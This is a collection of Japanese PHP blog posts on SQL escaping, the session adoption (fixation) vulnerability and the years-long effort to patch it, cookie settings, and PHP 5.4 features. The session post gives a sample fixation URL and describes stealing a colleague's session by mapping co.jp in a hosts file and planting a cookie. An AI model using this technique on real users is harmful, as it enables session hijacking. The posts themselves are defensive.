PHPのpg_escape_identifier()とpg_escape_literal()は便利そうだ!と思った方。申し訳ないです。私が関数を実装していなかったので次にリリースされるPHP 5.4.0にも入っていません。もしかするとPHP 5.4.1には入るかも知れませんが、どうなるかはまだ分かりません。
どうしても使ってみたい方はPHPのsubversionレポジトリからpgsqlモジュールのソースコードをダウンロード&コンパイルして使ってください。
よく誤解されるので念の為に書いておきます。もともと私はプリペアードクエリを使うな、と言っている訳ではありません。プリペアードクエリが使える場合はどんどん使えば良いと言っています。パフォーマンスにはうるさいので効率が良いプリペアードクエリの利用を薦めるのは当然です。
しかし、プリペアードクエリの使用が解決策になっていない場合が多くあります。趣味でシステム開発をしているならともかく既存のコードは会社の資産であり、様々な要素から検討した結果としてプリペアードクエリを使わないコードを採用することもよくあります。ROIを最大化するのが会社ですから当然です。このような場合にプリペアードクエリを使え、特定のORMを使え、特定の抽象化レイヤーを使え、NoSQLを使え、といっても何のソリューションにもなりません。
私も好んで使ってるプリペアードクエリですがセキュリティ対策とはしては、これだけでは不完全です。識別子のエスケープの例からも明白なように、プリペアードクエリは万能ではありません。プリペアードクエリは完全なセキュリティ対策を行う為に開発された物ではないので、完全でなくても文句は言えません。正しくSQLデータベースを利用するにはエスケープ処理を正しく知ることが最も重要です。セキュリティ対策として不完全なプリペアードクエリの利用が最も重要では無いことは、不完全であることからも明らかです。(出力のセキュリティ対策についてはこのブログにも書いているのでそちらをどうぞ)
今回はセキュリティ対策の為のエントリではないですがまとめです。
データベースに限らず全ての出力先のエスケープ処理を正しく理解する事が出力セキュリティ対策における最も重要です。エスケープ方法を知ること=出力先への正しい出力(安全な出力)知ること、です。なかなか浸透しないので繰り返し書く事になっているのは残念ですが、この事を理解して実践すれば、SQLインジェクションに限らず、出力時にセキュリティホールを作ることを減らす事ができます。
最後にエスケープ方法を知ればほとんどの出力先に対する正しい出力(安全な出力)方法を知ることができます。しかし、それが全てではありません。これについては既に書いた記事もありますが、またそのうちこのブログか技術評論社さんの記事として改めて書くことにします。
フィードバックはまだありません...
コメントを残す
第一回 岡山PHP勉強会のスライド
昨日は第一回の岡山PHP勉強会お疲れ様でした。参加枠を何度か拡大しても60名の満席でした。初回ということでプログラマ目線からのセキュリティ対策の基本を解説させていただきました。セキュリティってわかりづらい、何をすれば良いのかわからない、という声はよく耳にします。短い時間でしたが考え方の基本は概ね説明できたと思います。
重要なことは口頭で説明したので資料だけみてもよくわからないとは思いますが、勉強会の資料を公開します。なにかございましたらツイッターなどで問い合わせて下さい。ツイッターには岡山PHP勉強会のハッシュタグ (#okaphp) を付けると他の方にも分かりやすいと思います。
次回の岡山PHP勉強会は2月だそうです。
追記:Integrityの訳はネットを検索してきた訳語の「統合性」を使っていましたが、違和感があったので調べてみました。JISでは「完全性」と訳されているので正しい用語に修正しておきました。
フィードバックはまだありません...
コメントを残す
PHPのセッションアダプション脆弱性克服への道のり
PHP Advent Calender用のエントリです。
PHPのセッション管理は非常に簡単です。セッションをsession_start()で開始して$_SESSION配列を使うだけです。便利で簡単なセッションモジュールですがセッションアダプションに脆弱であるため、一般に言われてる「ログインする時にはsession_regenerate_id()を呼ぶ」コーディングではセッションアダプションに脆弱になってしまいます。
まずは危険性と対策を紹介します。
...
セッションアダプションの危険性
セッションアダプションとは外部などから設定されたセッションIDを受け入れ初期化する脆弱性です。一番分かりやすい例はTrans SIDを有効にして
http://example.com/index.php?PHPSESSID=1234567890
とアクセスするとセッションIDが"1234567890”として初期化されます。他のページからのリンクでも初期化される(php.iniでRefererを設定して制限も可能)ので、本来秘密であるべきセッションIDを攻撃者が知ることになります。Trans SIDを利用している場合、session_regenerate_id()を呼べば確実に新しいセッションIDが設定されるのでセッションアダプションによってセッションIDの固定化が起こる事はありません。
セッション管理にクッキーを利用している場合は違います。例えば、アプリケーションapp1がhttp://example.com/app1/ にインストールされていてセッション管理用のクッキーのパスが/app1/に設定されている場合、何らかの方法で/にセッション管理用のクッキーを設定すると、/app1/ではなく/に設定されたクッキーが有効になります。session_regenerate_id()でパス /app1/ に対して何度新しいクッキーを設定しようとしても/に設定されたクッキーが送信されます。
PHPのデフォルトはdomainに対してクッキーを設定しませんが、domainに対してクッキーを設定するとそちらを優先してしまうブラウザ(IE)があります。例えば、www.example.co.jpの場合、何らかの方法でwww.example.co.jp、example.co.jp、co.jpなどにセッション管理用のクッキーを設定できればそれが優先されてしまいます。
co.jpにはクッキーは設定できないのでは?と思った方も居るでしょう。しかし、IPアドレスが返ってくればco.jpにもクッキーが設定できてしまいます。この仕様を利用すれば同僚のブラウザのセッションを簡単に盗む事ができます。PCのhostファイルを編集し、co.jpにIPアドレスを割り当てた上でグラウザに攻撃用のクッキーを設定するだけです。明示的にクッキーを削除するかクッキーの有効期限が切れるまで憐れな同僚はセッションが漏れた状態になります。
セッションアダプションに脆弱なセッション管理では比較的安全とされているクッキーベースのセッション管理の場合、Webアプリセキュリティの要であるセッションを盗む事が可能となるのです。
対策
session_regenerate_id()だけではセッションアダプション脆弱性を利用したセッションの固定化攻撃を防ぐ事はできません。既に対策にはついてはブログに書いているのでこちらを参照してください。
http://blog.ohgaki.net/how-to-make-php-session-strict-by-php-script
セッションアダプション克服への道のり
セッションアダプション対策はまだリリースされているPHPには取り込まれていませんが、もうすぐsubversionレポジトリにコミットする事ができます。
パッチ: https://gist.github.com/1379668
WikiのRFC: https://wiki.php.net/rfc/strict_sessions
セッションアダプション対策への道のりは非常に長いものでした。その概略を紹介します。
2005年夏
- Stefan Esser氏がPHP 5.1用にStrict SessionパッチをMLに投稿。
- ちょうどPHP 5.1.0のリリース前だったので取り込まれると思っていた。
- MLのスレッドは全ては見ていなかったので推測ですが、セッションアダプション脆弱性とブラウザの仕様が理解されていなかったのだと思われる。
セッションアダプションが致命的な脆弱性であることは今も昔も変わりません。6年以上前の事になりますがセッションアダプションは当時でも危険と認識されている問題でした。(少なくともセキュリティ専門家には)
2005年秋
- Stefan氏のパッチの一部が取り込まれる。(後に役に立たない実装だと判明)
- 対策済みと考えていた為「Webアプリセキュリティ対策入門」にもユーザスクリプトによる対策は記載しない。。。
コミットログの差分を斜め読みしていたため、完全にパッチが取り込まれたと勘違いしていました。
2006年春
- Stefan氏のパッチが完全に取り込まれておらず、役に立たない実装だと気づく。
- PHPのsecurity用のメールにStefan氏のパッチが取り込まれていない事に対して適用すべきとメールを送るが、開発者の理解をえられず適用されない。
2006年11月
- PHP 5.2.0リリース。依然としてパッチは取り込まれない。
2007年初め頃(?)
- PHP 5.2用にパッチが無いのは困るので5.2にポート。
- 桝形さんがPHP4用にパッチをバックポート。
- http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
2007年夏
- PHPプロジェクトメンバーのセキュリティ認識に辟易していたStefan Esser氏がMonth of PHP Bugsプロジェクトを開始。
- 私は日本語に翻訳。 http://blog.ohgaki.net/MoPB/
2008〜2009年頃
- PHP 4のメンテナンス終了のアナウンス。
- そろそろセッションアダプション脆弱性への理解も深まったかと思い、securityのメールアドレスへ厳格なセッション管理をするようにメール。
- しかし、理解を得られず。。。
2011年秋
- PHP 5.4.0のリリースに合わせ厳格なセッション管理を行わない事はセキュリティ問題だとPHP開発者のMLに送信する。
- 遂にセッションアダプションの致命性が理解されたのか、今までと違い必要ない、無用である、現状の機能で十分、ユーザが悪い、とする反論は一切なし。
- 現在、パッチは議論中のステータスで反論もない状態で年内中にはtrunkにコミット、PHP 5.4.1とPHP 5.3.10(何時になるかな)には取り込まれる見込み。
セッションアダプションが致命的な脆弱性であることは少しブラウザのクッキーで実験してみれば分かることだと思うのですが、6年を越す歳月が必要でした。
これは酷い!と思った方も居るかも知れませんがこういう事は他のプロジェクトでもよく起きています。商用製品でも10年前から知られていた脆弱性がやっと直った、などと時々ニュースになっている事を記憶されている方も居ると思います。10年かかった訳ではないのでまだ良い方でしょう。
まとめ
- セッションアダプションは致命的な脆弱性
- セッションアダプション対策はユーザスクリプトでも可能
- プログラミング能力が高いプログラマでもセキュリティ脆弱性の評価を適切にできない場合がある
- セキュリティに対して意識が高い開発者の意見は素直に受け入れるべき
PHPプロジェクトがStrict Sessionパッチを素直に受け入れられなかった理由の1つは、一部の開発者が「セッションアダプションなんてたいした脆弱性ではない」と間違った主張を以前からしていた事に原因があるのではないか、と思っています。
「サニタイズで十分」「プリペアードクエリを使えば安全」といった認識と同様、周りの人にこれで十分、と言っていた人はなかなか意見を変えません。それが間違った意見や合理的ではない意見であったとしても変えない事があります。
この様な状況に陥ると正しいセキュリティ対策が採用されるまでに非常に長い時間がかかってしまいます。そうならないよう「あ、こっちの方が良いかも」と思ったら昔の意見は封印するのが最も良いと思います。
フィードバックはまだありません...
コメントを残す
PHP 5.4から配列定義は超簡単に、そして落とし穴も
リンク: http://www.php.net/manual/en/language.types.array.php
PHP 5.4 Advent Calender 2011用のエントリです。(まだ空きがあるので是非どうぞ)
このエントリを書いているのは11/23です。初めの方から重いネタだと後の方が苦労する(?)ので軽い話です。
現時点ではPHP Manualの配列のページには記載されていませんが、配列の定義が簡略化されます。まず現状の配列の定義方法は
<?php
$a = array('foo'=>123, 'bar'=>456, 789);
var_dump($a);
こんな感じですね。これを実行すると
$ ../php-src-5.4/php arr.php
array(3) {
["foo"]=>
int(123)
["bar"]=>
int(456)
[0]=>
int(789)
}
このような出力になります。array()と定義するのは面倒だ、との声は昔からあったのですが遂に[]で配列が定義できるようになりました。つまりこう書けるようになります。
...
<?php
$a = ['foo'=>123, 'bar'=>456, 789];
var_dump($a);
こんな風に配列を定義するならarray()でも構わないのですが、関数のパラメータなどに配列を直接渡す場合は今ひとつしっくりこない形になります。例えば、pg_query_params()関数はクエリのパラメータを配列で渡すのですが今まではこうなります。
$res = pg_query_params($db, 'SELECT * FROM tbl
WHERE age >= $1 and gender = $2', array(20, 'm'));
これを
$res = pg_query_params($db, 'SELECT * FROM tbl
WHERE age >= $1 and gender = $2', [20, 'm']);
と書けるようになります。
細かい仕様変更ですが「なぜ配列定義が[]でできないの?」という声はずっと以前からありました。しかし、「PHPはPeople Hate Perlの略だ」と言われる所以からか「同じ事をするために複数の構文は要らない」とのポリシーで実装されませんでした。
「記号のような構文も要らない」とのポリシーで"<?="と同じ動作する"<?php="は実装されていません。これは私もパッチ付きで提案しました。1行パッチなのでたいした物ではないですが、"<?="があるのに"<?php="が無いのはおかしい、と思う人は他にもいて何度も提案されました。結局、5.4でも採用されていませんが、代わりに"<?="が何時でも使えるようになりました。これでテンプレートなどの中で気軽に"<?="が使えます。
話があさっての方向に行ってしまいましたが配列の落とし穴も紹介します。
PHP 5.4の配列オペレータ[]は文字列のオフセットにアクセスする方法として統一的に動作するようになりました。一時期は文字列オフセットには{}を使うべき、という頃もあったのですが[]でアクセスする方法が標準になります。この変更で従来とは異なる動作になってしまう場合があります。
<?php
$s = 'abc';
if (isset($s[0][0])) {
echo 'Value is set!';
} else {
echo 'Value is NOT set!';
}
PHP 5.4の場合
Value is set!
PHP 5.3の場合
Value is NOT set!
と逆の結果になります。これはPHP 5.4からは$s[0]は文字列の一文字目"a"となり$s[0]の"a"の更に一文字目の$a[0][0]も"a"になるからです。配列オペレータで文字列にアクセスした場合の動作に整合性を持たせた結果こうなりました。
先ほどの例では分りづらいですが配列の中の要素の更にその中の要素が空であるかチェックするようなコードが動作しなくなります。PEARライブラリの中では結構これが多用(?)されているらしくPEARの中の人がクレームをつけていました。詳しくは次のバグレポートを見てください。このブログのエントリを書いている今、議論が行われているので何か変更があるかも知れません。
https://bugs.php.net/bug.php?id=60362
言語として整合性が取れたことは良いことですが、思わぬところに落とし穴もあるので注意が必要です。
追記:
どうもNoticeエラーが出るようになりそうです!エラーがないと分りづらいのである方が良いと思います。
ちなみにPROVE for PHPがPHP 5.4に対応すれば、仕様変更がアプリケーションに影響するか、どこで違いが発生したのか即座にわかります。このエントリが公開される頃には、、、まだ公開できていないと思いますが、PHP 5.4リリースを機会に是非PROVEを試してみてください。
フィードバックはまだありません...
コメントを残す
gihyo.jp セキュリティ対策が確実に実施されない2つの理由
gihyo.jpで新しい記事が公開されました。
なぜ簡単な対策で防げる脆弱性でもセキュリティ対策が確実に実施されないのか?それには理由があります。
その理由とはこの2つではないでしょうか。
- セキュリティ対策とコーディングのベストプラクティスは相反することを理解していない
- セキュリティ対策の基本中の基本を理解していない
続きは
http://gihyo.jp/dev/serial/01/php-security/0044
でご覧ください。
こちらはその記事のはてなブックマークです。
http://b.hatena.ne.jp/entry/gihyo.jp/dev/serial/01/php-security/0044
コメント一つ一つにコメントを付けるつもりはありませんが、モノリシックなコードと処理が重複しているかいないかは関係ありません。またセキュリティ対策が重複していないと「多重のセキュリティ」を実装している事になりません。
バリデーションが仕様の話、という意味は理解できません。出力時のバリデーションは出力結果を利用するシステムが誤作動しないようにするためのセキュリティ対策です。出力はバリデーションするしか方法がない場合が多くあります。出力先は多岐にわたり、エスケープ関数もヘルパー関数も何もない、というケースはよくあります。
「多重のセキュリティ」とは同じチェックやセキュリティ対策をするということではありません。もちろん同じチェック・対策をしても構わないのですが、一般に異なるレイヤーや場所でセキュリティ対策を繰り返し行う事を「多重のセキュリティ」対策と言います。”重複”と記載したので分かりづらかったのかも知れないですね。
入力時のバリデーションコードと出力時のバリデーションコードは同じコードが使える場合もありますが別のコードを使うべきです。別のコードを使わないと「フェイルセーフ対策」の意味もなくなります。
システム構築にアーキテクチャとよいコーディングスタンダードが必要なのと同じで、セキュリティにもアーキテクチャとコーディングスタンダードが必要です。入力、ロジック、出力を別のシステムとして考えるのはアーキテクチャの話と言えると思います。入力を切り分けるのは比較的簡単ですが、出力は簡単ではありません。文字列を加工し一部がエスケープ処理済みだったり、ヘルパーを使って処理したり、別の関連システムとのやり取りがあったり、と一度にまとめて処理する事が難しい場合が多いです。フレームワークの制約があったりして、フレームワークのベストプラクティスに従うと出力する部分を切り出す事が不可能な場合もあります。このよう場合はコーディングの話と言えると思います。
よく知らないのに、というのも面白いコメントですね。Railsの基本仕様とそれに影響を受けたフレームワークの話をしています。誤読ですね。文章は一旦書くとひとり歩きする物ですからある程度は仕方ないのでしょう。仕事柄、Railsは最新版ではなくよく使われているバージョンを使っているのですが、3.2とかではバリデーションのアーキテクチャが改善されているでしょうか?またそのうち確認することにします。
入力のバリデーションと出力のエスケープが重複したセキュリティ対策であっても「多重のセキュリティ」として両方実施する、が理解できていないのは「多重のセキュリティ」を理解していないのでしょう。「PHPになぜ」という部分は「Webアプリになぜ」とタイトルを変えた方が良いのかも知れません。開発者に基本的なコンセプトや現状の理解が足りてないから脆弱なアーキテクチャの理解ができなかったり、プリペアードクエリがセキュリティ対策として不完全な対策であるという簡単な事も理解できないのだと思います。
RailsをDisっているからコミュニティは反応した方が、というコメントもありましたが逆にRailsを使い込んでる人なら同じ意見だと思います。プログラムなので、もちろん入力のチェックを最初に行う事は可能ですが、フレームワークが提供していた基本機能はデータベース保存前のバリデーションです。この仕様に困ったなあ、と思った事がある人こそ本当にRailsを使っていた人なのではないかな?
ところで、たしかプリペアードクエリが万能かのように説いていたIPAのセキュリティ対策の文書でも、最新版のSQLインジェクション対策では「エスケープ」を最初に解説しています。何が正しいのか、考え方の基本として正しいものはどう反論しても正しいので無駄な努力はやめた方が良いと思います。
この文書ではまずリテラルのエスケープ方法から解説し、3.3のまとめの図では正しく、エスケープで組み立てるしか無い場合はそちらを優先し、次にプログラムクエリが使える環境ではプリペアードクエリなどを使うような図になっています。RailsでもPHPのフレームワークでも同じですがquoteメソッドを使う場合、実際にはエスケープしています。エスケープを正しく理解していないとこれらの実装が正しいのかプログラマが判断できないので適切な解説だと思います。残念なのはPostgreSQLのエスケープ手法が解説されていない点です。今のPostgreSQLはSQL標準に則り、'(シングルクオート)は'(シングルクオート)でエスケープします。libpqにはリテラルを正しくかつ完全に処理できるようエスケープするPQescapeLiteralが追加されています。(PHPではpg_escape_literalとして利用できるようになります) これでエスケープすると E'文字列' という形でエスケープを行い、SQL標準のエスケープである事が明示されます。おかしな使い方でSJISテキストを使っても誤作動することが無いようになっています。APIをサポートするプラットフォームがまだ少ないからこれは仕方がない部分でしょう。あって当然だった識別子のエスケープも解説されていないのは残念ですね。一般論として識別子のエスケープについては解説があった方がよいでしょう。プリペアードクエリを使っていてもエスケープが必要なケースです。紹介しないと完全な解説にはなりません。
同じ事はサニタイズに対する批判でも起きています。入力サニタイズがセキュリティ対策の切り札のように言われていた頃、私はホワイトリスト方式に入力のバリデーションこそが正しいセキュリティ対策で、ブラックリスト方式のサニタイズは不完全で誤った対策である、と言っていました。いろいろ反論もありましたが現在では「入力はバリデーションすべき」に反論する人はほぼ居ません。出力対策はエスケープが基本である、という持論に反対された方も多いですね。しかし、出力対策はエスケープが基本であるとすることに反論するようでは、分かってない人と思われるようになる日も遠くはないでしょう。
しかし、ネガティブなコメントには具体的な誤りの指摘や反論が皆無ですね。はてブの文化なのでしょうか?はてなのサービスは悪いものではないように思いますが、今ひとつメジャー感が出てこないのはこういう部分に原因があるのかも知れないですね。
フィードバックはまだありません...
コメントを残す
PHP5.3.9RC2とPHP5.4.0RC2リリース
PHP 5.3.9RC2とPHP5.4.0RC2がリリースされました。
ところで、公式WikiのリリーススケジュールによるとPHP 5.3.9のEOLはPHP 5.4.0のリリース後半年後に予定されています。
https://wiki.php.net/rfc/releaseprocess
1年後にはセキュリティパッチの提供も停止の予定です。私は期間が短すぎると思いますが、、、 皆さん、マイグレーションの準備をしましょう。
...
Hello!
You are receiving this email because your project has been selected to
take part in an effort by the PHP QA Team to make sure that your project
still works with PHP versions to-be-released. With this we hope to make
sure that you are either aware of things that might break, or to make
sure we don't introduce any strange regressions.
Two release candidates where released today. PHP 5.3.9RC2 and PHP
5.4.0RC2. They can be downloaded from:
http://qa.php.net/
The Windows binaries are available at
http://windows.php.net/qa/
PHP 5.3.9 is our upcoming stable release. Please test your code and
report any regression bugs.
PHP 5.4.0 will be our next upcoming major release. It includes a lot of
new features. Please test your code carefully against the new version to
hlep us releasing the stable PHP version.
For a list of new features and bugfixes that you can target in your testing, please
refer to the NEWS file:
For PHP 5.3.9RC2:
http://svn.php.net/viewvc/php/php-src/tags/php_5_3_9RC2/NEWS?view=markup
For PHP 5.4.0RC2:
http://svn.php.net/viewvc/php/php-src/tags/php_5_4_0RC2/NEWS?view=markup
The next release candidate will be released on December 8.
Regards,
Johannes, Stas and David
フィードバックはまだありません...
コメントを残す
セッションのクッキーを設定する場合のベストプラクティス
HTTPセッションは通常クッキーを利用して行います。クッキーを利用したセッションの場合、お薦めする設定は以下の通りです。
- ドメイン名は指定しない
- パスはルート(/)を指定する
- セッション管理用のクッキーはセッションクッキー(有効期間0)にする
- httponly属性を付ける
- 可能な場合は必ずsecure属性をつける
- 複数アプリケーションを利用する場合はsession.nameまたはsession_name()でセッションクッキー名で指定する (アプリケーションの固有名デフォルトで設定し、設定項目として変更できるようにする)
...
3まではPHPデフォルト設定です。4から6までは自分で設定しなければなりません。PHPの場合、すべてphp.iniで指定できます。session_set_cookie_params()でセッション開始前に指定すればスクリプト中から変更できます。
void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]] )
1のドメイン名はわざわざ指定する意味はありません。デフォルト通り指定しない方が良いです。完全ではありませんが、ドメインを指定しない方が問題が少ないので指定しないようにします。
2のパスですが、アプリの中にはURIパスを検出してパスを設定してクッキーを送るようにしている物もあります。ルート(/)とサブディレクトリ(/app1/など)にクッキーが設定されている場合、ルートの方が優先されるので安全面を考えるとルートの方が良いです。
3は常識として知っておくべき知識です。クッキーの有効期限が0の場合、普通のブラウザはクッキーをメモリにみ保存します。つまりブラウザを終了させるとクッキーが消えます。セッション管理には必ず有効期限0を指定すべきです。
4のhttponlyはデフォルト有効でも良いような気がしますが、フレームワークでCSRF対策に使っている場合もあるかも知れません。しかし、 PHPアプリでJavascriptとセッションIDを使ったCSRF対策を行っているものは少数派だと思います。4は基本有効にする、という考え方で良 いと思います。
5はSSLをサポートしたサイトのみですが、最近のgoogleのように全てSSLにする場合は必須です。SSLしか使わないのであれば必ず有効にします。
6の代わりにクッキーにパスを設定するアプリもありますが、パスを設定するのではなく、セッション名を設定した方が良いです。
次はやってはならないことです。
- 有効期限の長いセッションを再ログイン用に使う
- Trans SIDを不要なのに有効にする
1はありがちな事です。有効期限の長いセッションによい事はありません。例えば、公共のPCや友人のPCを使った時にブラウザを閉じてもまだログインした状態が続くのは良くありません。自動ログインを有効にする場合は別の使い捨ての認証用クッキー(再認証用のトークン)を用い、ログインする場合に自動ログインするか、しないか選択できるようにしてユーザが制御できるようにします。ユーザが明示的にログオフした場合は再認証トークンも必ず無効にします。
2のTrans SID(URLの書き換えによるセッション)を絶対に利用してはならない、とは言いませんが特別な理由がない限り有効にしてはなりません。ページやURLをメールなどで送信するとセッションIDが漏洩します。
最後にセッションIDは少なくとも定期的にsession_regenerate_id()で更新すべきです。ログインした時の更新は必須です。
- ログインした時
- ログアウトした時 (これは必須ではないが念の為)
- 一定時間経過した時 (数分から数時間の間隔で更新)
Piece Framework にはリクエストのたびにセッションIDを更新する、という素晴らしい機能も付いています。万が一セッションIDが何らかの理由で漏洩しても、ユーザがアクセスさえしていればセッションIDが更新されているのでセッションを盗まれる事はありません。Trans SIDを利用していても比較的安全に利用できます。
PHPの設定を例に紹介しましたが、他のプラットフォームでも基本的には同じです。
フィードバックはまだありません...
コメントを残す
PHP 5.4のビルトインWebサーバの性能
リンク: http://php.net/manual/en/features.commandline.webserver.php
PHP 5.4からCLIのphpコマンドにビルトインWebサーバ機能が追加されています。
ツイッターでWebrick(RubyのビルトインというかRuby製のWebサーバ)+素のRailsページはjRubyで44reqs/sec、cRubyで98reqs/secでした、とのツイートを見かけて、PHPのビルトインWebサーバはどの程度かな?と思って手元のマシンで実行してみました。
...
abコマンドを使ってローカルホストのnull.phpという空のPHPファイルにアクセスしました。
[yohgaki@dev ~]$ ./sapi/cli/php -S localhost:8008 > /dev/null 2>&1 [yohgaki@dev ~]$ ab -n 10000 http://localhost:8008/null.php
結果はこちらです。
Requests per second: 4437.26 [#/sec] (mean)
追記1: 同時接続数130くらいまではスケールするようです。 -c 130 (当時130接続)、-n 100000(10万)で試すと5500reqs/secでした。ただしマルチプロセス・マルチスレッドではないので複数コアがあっても1コアしか使いません。nginxなどと組み合わせると複数コアCPUでは数倍の性能が見込めると思われます。
追記2: 念の為に書いておきます。プロダクションサーバ用に使わないでください。Watch Dog(プロセスを監視して死んだら再起動させるプログラム)がないとPHPのクラッシュバグでDoS攻撃が可能になります。
環境も違うし、Railsの方はRubyコードを実行しているので比較になりませんが、テストコードを動かすには十分過ぎる速度です。実行したのはCore2Quad Q6600という比較的古いCPUのマシンです。
model name : Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz
以下はabコマンドを実行したときのログです。
[yohgaki@dev ~]$ ab -n 10000 http://localhost:8008/null.php
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking localhost (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software:
Server Hostname: localhost
Server Port: 8008
Document Path: /null.php
Document Length: 1 bytes
Concurrency Level: 1
Time taken for tests: 2.254 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Total transferred: 1190000 bytes
HTML transferred: 10000 bytes
Requests per second: 4437.26 [#/sec] (mean)
Time per request: 0.225 [ms] (mean)
Time per request: 0.225 [ms] (mean, across all concurrent requests)
Transfer rate: 515.66 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.0 0 1
Processing: 0 0 0.1 0 3
Waiting: 0 0 0.0 0 2
Total: 0 0 0.1 0 3
Percentage of the requests served within a certain time (ms)
50% 0
66% 0
75% 0
80% 0
90% 0
95% 0
98% 0
99% 0
100% 3 (longest request)
[yohgaki@dev ~]$
フィードバックはまだありません...
コメントを残す
PHPのSession Adoptionを修正するパッチ
パッチのテストのお願いです。
PHPerの長年の悩みの種であるセッションアダプションを修正するパッチをPHPに取り込めそうです。PHPのsubversionレポジトリのtrunkまたはPHP 5.4で利用できます。テストが終わったらPHPのレポジトリにコミットする予定です。(テスト期間は2011/11/22まで)
パッチ
少し古いですがパッチの解説
セッションアダプション関連のブログエントリ
- http://blog.ohgaki.net/how-to-make-php-session-strict-by-php-script
- http://blog.ohgaki.net/php-session-adoption-1
パッチに何か問題があったらご連絡頂けると助かります。問題なかったよ、も大歓迎です。
ツイッターの方がレスポンスは良いです。
メールご連絡頂いても構いません。ブログのコメントととして送信する場合はエラーメッセージを無視して送信してください。モデレーションが必要なコメントとして送信できます。
思い起こせばセッションアダプション脆弱性の修正は最初の提案から6年以上経っています。セッションアダプションとブラウザの仕様に関する理解を得られず今まで修正されてきませんでした。しかし、今回は修正できそうです。SQLインジェクション対策や入力のバリデーション処理もそうですが、正しいものは正しい。主張し続ければ時間はかかっても必ず正しい方が認められるのが世の中です。
今度こそPHPのアキレス腱であるセッションアダプション脆弱性を修正しましょう!
テストが可能な方は是非テストして頂けるよう、よろしくお願いします!
フィードバックはまだありません...
コメントを残す
PROVE for PHP 1.0.3を公開
私の会社で開発・販売しているPROVE for PHPを更新し、PDOオブジェクトに対応したPROVE for PHP 1.0.3の配布を開始しました。PDOオブジェクトに対応したので幅広いアプリケーションで利用できます。PROVEは非商用の個人利用の場合、無償で利用できます。問題などございましたらツイッターやメールなどでフィードバックを頂けると助かります。
http://www.provephp.com/ja/download
PROVE for PHPとはPHPの動作を詳細に記録・比較し、PHPとPHPアプリのバージョンアップが安全に行えるか簡単にチェックできるツールです。開発中のリグレッションテストツールとして利用できます。
近日中にこのブログでもいろいろな使い方を紹介したいと思っています。
追記: RHEL5系(CentOS5など)で利用できるPHP53パッケージ用RPMのダウンロードも開始しました。
フィードバックはまだありません...
コメントを残す
PHP 5.4から利用できるtraitの利用例
PHP5.4からtraitが利用できるようになる事をご存知の方も多いと思います。
traitはコードの水平再利用を可能にする仕様拡張です。Rubyのmixinのような機能と言えば分り易いかも知れません。
誰でもtraitを利用したくなるようなコードをinternals@php.netのMLで見かけたので紹介しよう、と思って書いたのですがコピペしたコードをしっかり読んでなくておかしな所があった事を @sotarok さんに教えてもらいました。
元のコードは色々問題があるので書き直しました。こうやればアクセサーを沢山書く必要が無くなります。
...
https://gist.github.com/1379592 (読みやすいコードはこちらをどうぞ)
<?php
trait Accessors{
public function __get($name){
if ($this->r_property[$name])
return $this->$name;
else
trigger_error("Access to read protected property");
}
public function __set($name, $value){
if ($this->w_property[$name])
$this->$name = $value;
else
trigger_error("Access to write protected property");
}
}
class OrderLine{
use Accessors;
private $r_property = array('price'=>1, 'amount'=>1);
private $w_property = array('price'=>1, 'amount'=>1);
protected $price;
private $amount;
public function getTotal(){
return $this->price * $this->amount;
}
}
$line = new OrderLine;
$line->price = 20;
$line->amount = 3;
echo "Total cost: ".$line->getTotal();
?>
これをPHP 5.4で実行すると
Total cost: 60
と表示されます。
niigataの強敵現れる?!という事ではなく、個人的な好みとしてはread only属性が在ったほう便利だと思います。
注)niigataとは読めるけど書けないプロパティを作る、という昨年のPHPカンファレンスで発表されたPHPの拡張パッチです。多くの日本人は新潟を読めるけど、正しく書けない、という現実にちなんでつけられた名前だそうです。
さすがにniigataじゃ受け入れてもらえないだろうから普通の名前を考えるとしたら何が良いかな?
フィードバックはまだありません...
コメントを残す
Bit module for PHP
リンク: https://github.com/yohgaki/bit
誕生日のメッセージを送ってくださった皆様ありがとうございました!
今日は誕生日ということで多少は趣味のOSSに時間を割いてもバチは当たらないだろう、という事で簡単なPHPモジュールを書きました。PHP勉強会@東京に参加してPHPerバイナリアンの方の発表に触発された事がこのモジュールを書いた動機です。BitモジュールはバイナリアンPHPerの為のモジュールです。
https://github.com/yohgaki/bit
関数は今のところ4つだけあります。
- string byte_get(string) - バイナリをHEX文字列に変換
- string byte_set(string) - HEX文字列をバイナリに変換
- string bit_get(string) - バイナリを0と1の文字列に変換
- string bit_set(string) - 0と1の文字列をバイナリに変換
PHPではバイナリを取り扱う事が面倒だったのですがこのモジュールを使えば比較的簡単にバイナリを修正する事ができます。
初めはバイナリを配列にして返そうか、とも思ったのですが効率が悪いので単純に文字列に変換することにしました。こんな機能が欲しい!こう修正して欲しい!という方はご連絡ください。対応できるかも知れません。
ちなみに現状でもPHPスクリプトだけでバイナリを取り扱えるライブラリがあります。
http://openpear.org/package/IO_Bit
さらにZlibバイナリが扱えてしまう物まであります。
http://openpear.org/package/IO_Zlib
そしてSWFファイルを修正できてしまう物も。
http://openpear.org/package/IO_SWF
これらは@yoya さんが書かれたパッケージだそうです。凄すぎです。バイナリを操作する必要がある方はこちらも是非ご利用ください。
フィードバックはまだありません...
コメントを残す
RealIP Module for PHP
リバースプロキシの背後にあるPHP用に$_SERVER['REMOTE_ADDR']をX-Real-IPやX-Forwarded-Forヘッダに設定されたIPアドレスに書き換えるRealIPを書きました。
https://github.com/yohgaki/realip
少しGoogleで検索しても見つからなかったので作ったのですが、既にありそうな気がします。
PHPスクリプトで書き換えても良いのですが、アプリをバージョンアップした時に忘れる可能性があります。プロキシ・Webサーバで何とかする方法もありますが、プロキシ・Webサーバの仕様に合わせた設定が必要だったり、と不便な所もありモジュールの方が便利なので書きました。同じ事をするには他の方法がありますが、必要な方はどうぞ。
多分、PHP5.2でもコンパイルできると思います。コンパイル出来なかったら教えてください。
フィードバックはまだありません...
コメントを残す
PHPセッションアダプションをスクリプト側で修正する方法
